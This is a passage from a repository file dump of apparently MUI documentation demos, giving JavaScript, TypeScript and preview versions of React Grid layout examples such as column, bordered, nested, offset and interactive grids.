    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ColumnsGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2} columns={16}>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/ColumnsGrid.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function ColumnsGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2} columns={16}>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n        <Grid size={8}>\n          <Item>size=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/ColumnsGrid.tsx.preview",
    "content": "<Grid container spacing={2} columns={16}>\n  <Grid size={8}>\n    <Item>size=8</Item>\n  </Grid>\n  <Grid size={8}>\n    <Item>size=8</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/material/components/grid/FullBorderedGrid.js",
    "content": "import Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\n\nexport default function FullBorderedGrid() {\n  return (\n    <Box sx={{ flexGrow: 1, p: 2 }}>\n      <Grid\n        container\n        sx={{\n          '--Grid-borderWidth': '1px',\n          borderTop: 'var(--Grid-borderWidth) solid',\n          borderLeft: 'var(--Grid-borderWidth) solid',\n          borderColor: 'divider',\n          '& > div': {\n            borderRight: 'var(--Grid-borderWidth) solid',\n            borderBottom: 'var(--Grid-borderWidth) solid',\n            borderColor: 'divider',\n          },\n        }}\n      >\n        {[...Array(6)].map((_, index) => (\n          <Grid\n            key={index}\n            size={{\n              xs: 12,\n              sm: 6,\n              md: 4,\n              lg: 3,\n            }}\n            sx={{ minHeight: 160 }}\n          />\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/FullBorderedGrid.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\n\nexport default function FullBorderedGrid() {\n  return (\n    <Box sx={{ flexGrow: 1, p: 2 }}>\n      <Grid\n        container\n        sx={{\n          '--Grid-borderWidth': '1px',\n          borderTop: 'var(--Grid-borderWidth) solid',\n          borderLeft: 'var(--Grid-borderWidth) solid',\n          borderColor: 'divider',\n          '& > div': {\n            borderRight: 'var(--Grid-borderWidth) solid',\n            borderBottom: 'var(--Grid-borderWidth) solid',\n            borderColor: 'divider',\n          },\n        }}\n      >\n        {[...Array(6)].map((_, index) => (\n          <Grid\n            key={index}\n            size={{\n              xs: 12,\n              sm: 6,\n              md: 4,\n              lg: 3,\n            }}\n            sx={{ minHeight: 160 }}\n          />\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/FullWidthGrid.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function FullWidthGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={{ xs: 6, md: 8 }}>\n          <Item>xs=6 md=8</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 4 }}>\n          <Item>xs=6 md=4</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 4 }}>\n          <Item>xs=6 md=4</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 8 }}>\n          <Item>xs=6 md=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/FullWidthGrid.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function FullWidthGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={{ xs: 6, md: 8 }}>\n          <Item>xs=6 md=8</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 4 }}>\n          <Item>xs=6 md=4</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 4 }}>\n          <Item>xs=6 md=4</Item>\n        </Grid>\n        <Grid size={{ xs: 6, md: 8 }}>\n          <Item>xs=6 md=8</Item>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/FullWidthGrid.tsx.preview",
    "content": "<Grid container spacing={2}>\n  <Grid size={{ xs: 6, md: 8 }}>\n    <Item>xs=6 md=8</Item>\n  </Grid>\n  <Grid size={{ xs: 6, md: 4 }}>\n    <Item>xs=6 md=4</Item>\n  </Grid>\n  <Grid size={{ xs: 6, md: 4 }}>\n    <Item>xs=6 md=4</Item>\n  </Grid>\n  <Grid size={{ xs: 6, md: 8 }}>\n    <Item>xs=6 md=8</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/material/components/grid/HalfBorderedGrid.js",
    "content": "import Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\n\nexport default function HalfBorderedGrid() {\n  const colWidth = { xs: 12, sm: 6, md: 4, lg: 3 };\n  return (\n    <Box sx={{ flexGrow: 1, p: 2 }}>\n      <Grid\n        container\n        sx={(theme) => ({\n          '--Grid-borderWidth': '1px',\n          borderTop: 'var(--Grid-borderWidth) solid',\n          borderColor: 'divider',\n          '& > div': {\n            borderRight: 'var(--Grid-borderWidth) solid',\n            borderBottom: 'var(--Grid-borderWidth) solid',\n            borderColor: 'divider',\n            ...Object.keys(colWidth).reduce(\n              (result, key) => ({\n                ...result,\n                [`&:nth-of-type(${12 / colWidth[key]}n)`]: {\n                  [theme.breakpoints.only(key)]: {\n                    borderRight: 'none',\n                  },\n                },\n              }),\n              {},\n            ),\n          },\n        })}\n      >\n        {[...Array(6)].map((_, index) => (\n          <Grid key={index} size={colWidth} sx={{ minHeight: 160 }} />\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/HalfBorderedGrid.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\n\nexport default function HalfBorderedGrid() {\n  const colWidth = { xs: 12, sm: 6, md: 4, lg: 3 } as const;\n  return (\n    <Box sx={{ flexGrow: 1, p: 2 }}>\n      <Grid\n        container\n        sx={(theme) => ({\n          '--Grid-borderWidth': '1px',\n          borderTop: 'var(--Grid-borderWidth) solid',\n          borderColor: 'divider',\n          '& > div': {\n            borderRight: 'var(--Grid-borderWidth) solid',\n            borderBottom: 'var(--Grid-borderWidth) solid',\n            borderColor: 'divider',\n            ...(Object.keys(colWidth) as Array<keyof typeof colWidth>).reduce(\n              (result, key) => ({\n                ...result,\n                [`&:nth-of-type(${12 / colWidth[key]}n)`]: {\n                  [theme.breakpoints.only(key)]: {\n                    borderRight: 'none',\n                  },\n                },\n              }),\n              {},\n            ),\n          },\n        })}\n      >\n        {[...Array(6)].map((_, index) => (\n          <Grid key={index} size={colWidth} sx={{ minHeight: 160 }} />\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/InteractiveGrid.js",
    "content": "import * as React from 'react';\nimport Grid from '@mui/material/Grid';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Paper from '@mui/material/Paper';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\nexport default function InteractiveGrid() {\n  const [direction, setDirection] = React.useState('row');\n  const [justifyContent, setJustifyContent] = React.useState('center');\n  const [alignItems, setAlignItems] = React.useState('center');\n\n  const jsx = `\n<Grid\n  container\n  direction=\"${direction}\"\n  sx={{\n    justifyContent: \"${justifyContent}\",\n    alignItems: \"${alignItems}\",\n  }}\n>\n`;\n\n  return (\n    <Grid sx={{ flexGrow: 1 }} container>\n      <Grid size={12}>\n        <Grid\n          container\n          spacing={2}\n          direction={direction}\n          sx={{ alignItems, justifyContent, height: 300, pb: 2 }}\n        >\n          {[0, 1, 2].map((value) => (\n            <Grid key={value}>\n              <Paper\n                sx={(theme) => ({\n                  p: 2,\n                  backgroundColor: '#fff',\n                  height: '100%',\n                  color: 'text.secondary',\n                  pt: `${(value + 1) * 10}px`,\n                  pb: `${(value + 1) * 10}px`,\n                  ...theme.applyStyles('dark', {\n                    backgroundColor: '#1A2027',\n                  }),\n                })}\n              >\n                {`Cell ${value + 1}`}\n              </Paper>\n            </Grid>\n          ))}\n        </Grid>\n      </Grid>\n      <Grid size={12}>\n        <Paper sx={{ p: 2 }}>\n          <Grid container spacing={3}>\n            <Grid size={12}>\n              <FormControl component=\"fieldset\">\n                <FormLabel component=\"legend\">direction</FormLabel>\n                <RadioGroup\n                  row\n                  name=\"direction\"\n                  aria-label=\"direction\"\n                  value={direction}\n                  onChange={(event) => {\n                    setDirection(event.target.value);\n                  }}\n                >\n                  <FormControlLabel value=\"row\" control={<Radio />} label=\"row\" />\n                  <FormControlLabel\n                    value=\"row-reverse\"\n                    control={<Radio />}\n                    label=\"row-reverse\"\n                  />\n                </RadioGroup>\n              </FormControl>\n            </Grid>\n            <Grid size={12}>\n              <FormControl component=\"fieldset\">\n                <FormLabel component=\"legend\">justifyContent</FormLabel>\n                <RadioGroup\n                  row\n                  name=\"justifyContent\"\n                  aria-label=\"justifyContent\"\n                  value={justifyContent}\n                  onChange={(event) => {\n                    setJustifyContent(event.target.value);\n                  }}\n                >\n                  <FormControlLabel\n                    value=\"flex-start\"\n                    control={<Radio />}\n                    label=\"flex-start\"\n                  />\n                  <FormControlLabel\n                    value=\"center\"\n                    control={<Radio />}\n                    label=\"center\"\n                  />\n                  <FormControlLabel\n                    value=\"flex-end\"\n                    control={<Radio />}\n                    label=\"flex-end\"\n                  />\n                  <FormControlLabel\n                    value=\"space-between\"\n                    control={<Radio />}\n                    label=\"space-between\"\n                  />\n                  <FormControlLabel\n                    value=\"space-around\"\n                    control={<Radio />}\n                    label=\"space-around\"\n                  />\n                  <FormControlLabel\n                    value=\"space-evenly\"\n                    control={<Radio />}\n                    label=\"space-evenly\"\n                  />\n                </RadioGroup>\n              </FormControl>\n            </Grid>\n            <Grid size={12}>\n              <FormControl component=\"fieldset\">\n                <FormLabel component=\"legend\">alignItems</FormLabel>\n                <RadioGroup\n                  row\n                  name=\"alignItems\"\n                  aria-label=\"align items\"\n                  value={alignItems}\n                  onChange={(event) => {\n                    setAlignItems(event.target.value);\n                  }}\n                >\n                  <FormControlLabel\n                    value=\"flex-start\"\n                    control={<Radio />}\n                    label=\"flex-start\"\n                  />\n                  <FormControlLabel\n                    value=\"center\"\n                    control={<Radio />}\n                    label=\"center\"\n                  />\n                  <FormControlLabel\n                    value=\"flex-end\"\n                    control={<Radio />}\n                    label=\"flex-end\"\n                  />\n                  <FormControlLabel\n                    value=\"stretch\"\n                    control={<Radio />}\n                    label=\"stretch\"\n                  />\n                  <FormControlLabel\n                    value=\"baseline\"\n                    control={<Radio />}\n                    label=\"baseline\"\n                  />\n                </RadioGroup>\n              </FormControl>\n            </Grid>\n          </Grid>\n        </Paper>\n      </Grid>\n      <Grid size={12}>\n        <HighlightedCode code={jsx} language=\"jsx\" />\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/InteractiveGrid.tsx",
    "content": "import * as React from 'react';\nimport Grid, { GridDirection } from '@mui/material/Grid';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport Paper from '@mui/material/Paper';\nimport { HighlightedCode } from '@mui/docs/HighlightedCode';\n\ntype GridItemsAlignment =\n  | 'flex-start'\n  | 'center'\n  | 'flex-end'\n  | 'stretch'\n  | 'baseline';\n\ntype GridJustification =\n  | 'flex-start'\n  | 'center'\n  | 'flex-end'\n  | 'space-between'\n  | 'space-around'\n  | 'space-evenly';\n\nexport default function InteractiveGrid() {\n  const [direction, setDirection] = React.useState<GridDirection>('row');\n  const [justifyContent, setJustifyContent] =\n    React.useState<GridJustification>('center');\n  const [alignItems, setAlignItems] = React.useState<GridItemsAlignment>('center');\n\n  const jsx = `\n<Grid\n  container\n  direction=\"${direction}\"\n  sx={{\n    justifyContent: \"${justifyContent}\",\n    alignItems: \"${alignItems}\",\n  }}\n>\n`;\n\n  return (\n    <Grid sx={{ flexGrow: 1 }} container>\n      <Grid size={12}>\n        <Grid\n          container\n          spacing={2}\n          direction={direction}\n          sx={{ alignItems, justifyContent, height: 300, pb: 2 }}\n        >\n          {[0, 1, 2].map((value) => (\n            <Grid key={value}>\n              <Paper\n                sx={(theme) => ({\n                  p: 2,\n                  backgroundColor: '#fff',\n                  height: '100%',\n                  color: 'text.secondary',\n                  pt: `${(value + 1) * 10}px`,\n                  pb: `${(value + 1) * 10}px`,\n                  ...theme.applyStyles('dark', {\n                    backgroundColor: '#1A2027',\n                  }),\n                })}\n              >\n                {`Cell ${value + 1}`}\n              </Paper>\n            </Grid>\n          ))}\n        </Grid>\n      </Grid>\n      <Grid size={12}>\n        <Paper sx={{ p: 2 }}>\n          <Grid container spacing={3}>\n            <Grid size={12}>\n              <FormControl component=\"fieldset\">\n                <FormLabel component=\"legend\">direction</FormLabel>\n                <RadioGroup\n                  row\n                  name=\"direction\"\n                  aria-label=\"direction\"\n                  value={direction}\n                  onChange={(event) => {\n                    setDirection(\n                      (event.target as HTMLInputElement).value as GridDirection,\n                    );\n                  }}\n                >\n                  <FormControlLabel value=\"row\" control={<Radio />} label=\"row\" />\n                  <FormControlLabel\n                    value=\"row-reverse\"\n                    control={<Radio />}\n                    label=\"row-reverse\"\n                  />\n                </RadioGroup>\n              </FormControl>\n            </Grid>\n            <Grid size={12}>\n              <FormControl component=\"fieldset\">\n                <FormLabel component=\"legend\">justifyContent</FormLabel>\n                <RadioGroup\n                  row\n                  name=\"justifyContent\"\n                  aria-label=\"justifyContent\"\n                  value={justifyContent}\n                  onChange={(event) => {\n                    setJustifyContent(\n                      (event.target as HTMLInputElement).value as GridJustification,\n                    );\n                  }}\n                >\n                  <FormControlLabel\n                    value=\"flex-start\"\n                    control={<Radio />}\n                    label=\"flex-start\"\n                  />\n                  <FormControlLabel\n                    value=\"center\"\n                    control={<Radio />}\n                    label=\"center\"\n                  />\n                  <FormControlLabel\n                    value=\"flex-end\"\n                    control={<Radio />}\n                    label=\"flex-end\"\n                  />\n                  <FormControlLabel\n                    value=\"space-between\"\n                    control={<Radio />}\n                    label=\"space-between\"\n                  />\n                  <FormControlLabel\n                    value=\"space-around\"\n                    control={<Radio />}\n                    label=\"space-around\"\n                  />\n                  <FormControlLabel\n                    value=\"space-evenly\"\n                    control={<Radio />}\n                    label=\"space-evenly\"\n                  />\n                </RadioGroup>\n              </FormControl>\n            </Grid>\n            <Grid size={12}>\n              <FormControl component=\"fieldset\">\n                <FormLabel component=\"legend\">alignItems</FormLabel>\n                <RadioGroup\n                  row\n                  name=\"alignItems\"\n                  aria-label=\"align items\"\n                  value={alignItems}\n                  onChange={(event) => {\n                    setAlignItems(\n                      (event.target as HTMLInputElement).value as GridItemsAlignment,\n                    );\n                  }}\n                >\n                  <FormControlLabel\n                    value=\"flex-start\"\n                    control={<Radio />}\n                    label=\"flex-start\"\n                  />\n                  <FormControlLabel\n                    value=\"center\"\n                    control={<Radio />}\n                    label=\"center\"\n                  />\n                  <FormControlLabel\n                    value=\"flex-end\"\n                    control={<Radio />}\n                    label=\"flex-end\"\n                  />\n                  <FormControlLabel\n                    value=\"stretch\"\n                    control={<Radio />}\n                    label=\"stretch\"\n                  />\n                  <FormControlLabel\n                    value=\"baseline\"\n                    control={<Radio />}\n                    label=\"baseline\"\n                  />\n                </RadioGroup>\n              </FormControl>\n            </Grid>\n          </Grid>\n        </Paper>\n      </Grid>\n      <Grid size={12}>\n        <HighlightedCode code={jsx} language=\"jsx\" />\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/NestedGrid.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function NestedGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={{ xs: 12, md: 5, lg: 4 }}>\n          <Item>Email subscribe section</Item>\n        </Grid>\n        <Grid container spacing={4} size={{ xs: 12, md: 7, lg: 8 }}>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-a\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category A\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-a\" sx={{ pl: 2 }}>\n                <li>Link 1.1</li>\n                <li>Link 1.2</li>\n                <li>Link 1.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-b\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category B\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-b\" sx={{ pl: 2 }}>\n                <li>Link 2.1</li>\n                <li>Link 2.2</li>\n                <li>Link 2.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-c\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category C\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-c\" sx={{ pl: 2 }}>\n                <li>Link 3.1</li>\n                <li>Link 3.2</li>\n                <li>Link 3.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-d\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category D\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-d\" sx={{ pl: 2 }}>\n                <li>Link 4.1</li>\n                <li>Link 4.2</li>\n                <li>Link 4.3</li>\n              </Box>\n            </Item>\n          </Grid>\n        </Grid>\n        <Grid\n          container\n          sx={{\n            justifyContent: 'space-between',\n            alignItems: 'center',\n            flexDirection: { xs: 'column', sm: 'row' },\n            fontSize: '12px',\n          }}\n          size={12}\n        >\n          <Grid sx={{ order: { xs: 2, sm: 1 } }}>\n            <Item>© Copyright</Item>\n          </Grid>\n          <Grid container columnSpacing={1} sx={{ order: { xs: 1, sm: 2 } }}>\n            <Grid>\n              <Item>Link A</Item>\n            </Grid>\n            <Grid>\n              <Item>Link B</Item>\n            </Grid>\n            <Grid>\n              <Item>Link C</Item>\n            </Grid>\n          </Grid>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/NestedGrid.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function NestedGrid() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2}>\n        <Grid size={{ xs: 12, md: 5, lg: 4 }}>\n          <Item>Email subscribe section</Item>\n        </Grid>\n        <Grid container spacing={4} size={{ xs: 12, md: 7, lg: 8 }}>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-a\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category A\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-a\" sx={{ pl: 2 }}>\n                <li>Link 1.1</li>\n                <li>Link 1.2</li>\n                <li>Link 1.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-b\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category B\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-b\" sx={{ pl: 2 }}>\n                <li>Link 2.1</li>\n                <li>Link 2.2</li>\n                <li>Link 2.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-c\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category C\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-c\" sx={{ pl: 2 }}>\n                <li>Link 3.1</li>\n                <li>Link 3.2</li>\n                <li>Link 3.3</li>\n              </Box>\n            </Item>\n          </Grid>\n          <Grid size={{ xs: 6, lg: 3 }}>\n            <Item>\n              <Box\n                id=\"category-d\"\n                sx={{ fontSize: '12px', textTransform: 'uppercase' }}\n              >\n                Category D\n              </Box>\n              <Box component=\"ul\" aria-labelledby=\"category-d\" sx={{ pl: 2 }}>\n                <li>Link 4.1</li>\n                <li>Link 4.2</li>\n                <li>Link 4.3</li>\n              </Box>\n            </Item>\n          </Grid>\n        </Grid>\n        <Grid\n          container\n          sx={{\n            justifyContent: 'space-between',\n            alignItems: 'center',\n            flexDirection: { xs: 'column', sm: 'row' },\n            fontSize: '12px',\n          }}\n          size={12}\n        >\n          <Grid sx={{ order: { xs: 2, sm: 1 } }}>\n            <Item>© Copyright</Item>\n          </Grid>\n          <Grid container columnSpacing={1} sx={{ order: { xs: 1, sm: 2 } }}>\n            <Grid>\n              <Item>Link A</Item>\n            </Grid>\n            <Grid>\n              <Item>Link B</Item>\n            </Grid>\n            <Grid>\n              <Item>Link C</Item>\n            </Grid>\n          </Grid>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/NestedGridColumns.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function NestedGridColumns() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2} columns={24}>\n        <Grid size={8}>\n          <Item>size=8/24</Item>\n        </Grid>\n        <Grid container size={16}>\n          <Grid size={12}>\n            <Item>nested size=12/24</Item>\n          </Grid>\n          <Grid size={12}>\n            <Item>nested size=12/24</Item>\n          </Grid>\n        </Grid>\n        <Grid size={8}>\n          <Item>size=8/24</Item>\n        </Grid>\n        <Grid container columns={12} size={16}>\n          <Grid size={6}>\n            <Item>nested size=6/12</Item>\n          </Grid>\n          <Grid size={6}>\n            <Item>nested size=6/12</Item>\n          </Grid>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/NestedGridColumns.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function NestedGridColumns() {\n  return (\n    <Box sx={{ flexGrow: 1 }}>\n      <Grid container spacing={2} columns={24}>\n        <Grid size={8}>\n          <Item>size=8/24</Item>\n        </Grid>\n        <Grid container size={16}>\n          <Grid size={12}>\n            <Item>nested size=12/24</Item>\n          </Grid>\n          <Grid size={12}>\n            <Item>nested size=12/24</Item>\n          </Grid>\n        </Grid>\n        <Grid size={8}>\n          <Item>size=8/24</Item>\n        </Grid>\n        <Grid container columns={12} size={16}>\n          <Grid size={6}>\n            <Item>nested size=6/12</Item>\n          </Grid>\n          <Grid size={6}>\n            <Item>nested size=6/12</Item>\n          </Grid>\n        </Grid>\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/OffsetGrid.js",
    "content": "import { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function OffsetGrid() {\n  return (\n    <Grid container spacing={3} sx={{ flexGrow: 1 }}>\n      <Grid size={{ xs: 6, md: 2 }} offset={{ xs: 3, md: 0 }}>\n        <Item>1</Item>\n      </Grid>\n      <Grid size={{ xs: 4, md: 2 }} offset={{ md: 'auto' }}>\n        <Item>2</Item>\n      </Grid>\n      <Grid size={{ xs: 4, md: 2 }} offset={{ xs: 4, md: 0 }}>\n        <Item>3</Item>\n      </Grid>\n      <Grid size={{ xs: 'grow', md: 6 }} offset={{ md: 2 }}>\n        <Item>4</Item>\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/OffsetGrid.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport Paper from '@mui/material/Paper';\nimport Grid from '@mui/material/Grid';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function OffsetGrid() {\n  return (\n    <Grid container spacing={3} sx={{ flexGrow: 1 }}>\n      <Grid size={{ xs: 6, md: 2 }} offset={{ xs: 3, md: 0 }}>\n        <Item>1</Item>\n      </Grid>\n      <Grid size={{ xs: 4, md: 2 }} offset={{ md: 'auto' }}>\n        <Item>2</Item>\n      </Grid>\n      <Grid size={{ xs: 4, md: 2 }} offset={{ xs: 4, md: 0 }}>\n        <Item>3</Item>\n      </Grid>\n      <Grid size={{ xs: 'grow', md: 6 }} offset={{ md: 2 }}>\n        <Item>4</Item>\n      </Grid>\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/grid/OffsetGrid.tsx.preview",
    "content": "<Grid container spacing={3} sx={{ flexGrow: 1 }}>\n  <Grid size={{ xs: 6, md: 2 }} offset={{ xs: 3, md: 0 }}>\n    <Item>1</Item>\n  </Grid>\n  <Grid size={{ xs: 4, md: 2 }} offset={{ md: 'auto' }}>\n    <Item>2</Item>\n  </Grid>\n  <Grid size={{ xs: 4, md: 2 }} offset={{ xs: 4, md: 0 }}>\n    <Item>3</Item>\n  </Grid>\n  <Grid size={{ xs: 'grow', md: 6 }} offset={{ md: 2 }}>\n    <Item>4</Item>\n  </Grid>\n</Grid>"
  },
  {
    "path": "docs/data/material/components/grid/ResponsiveGrid.js",
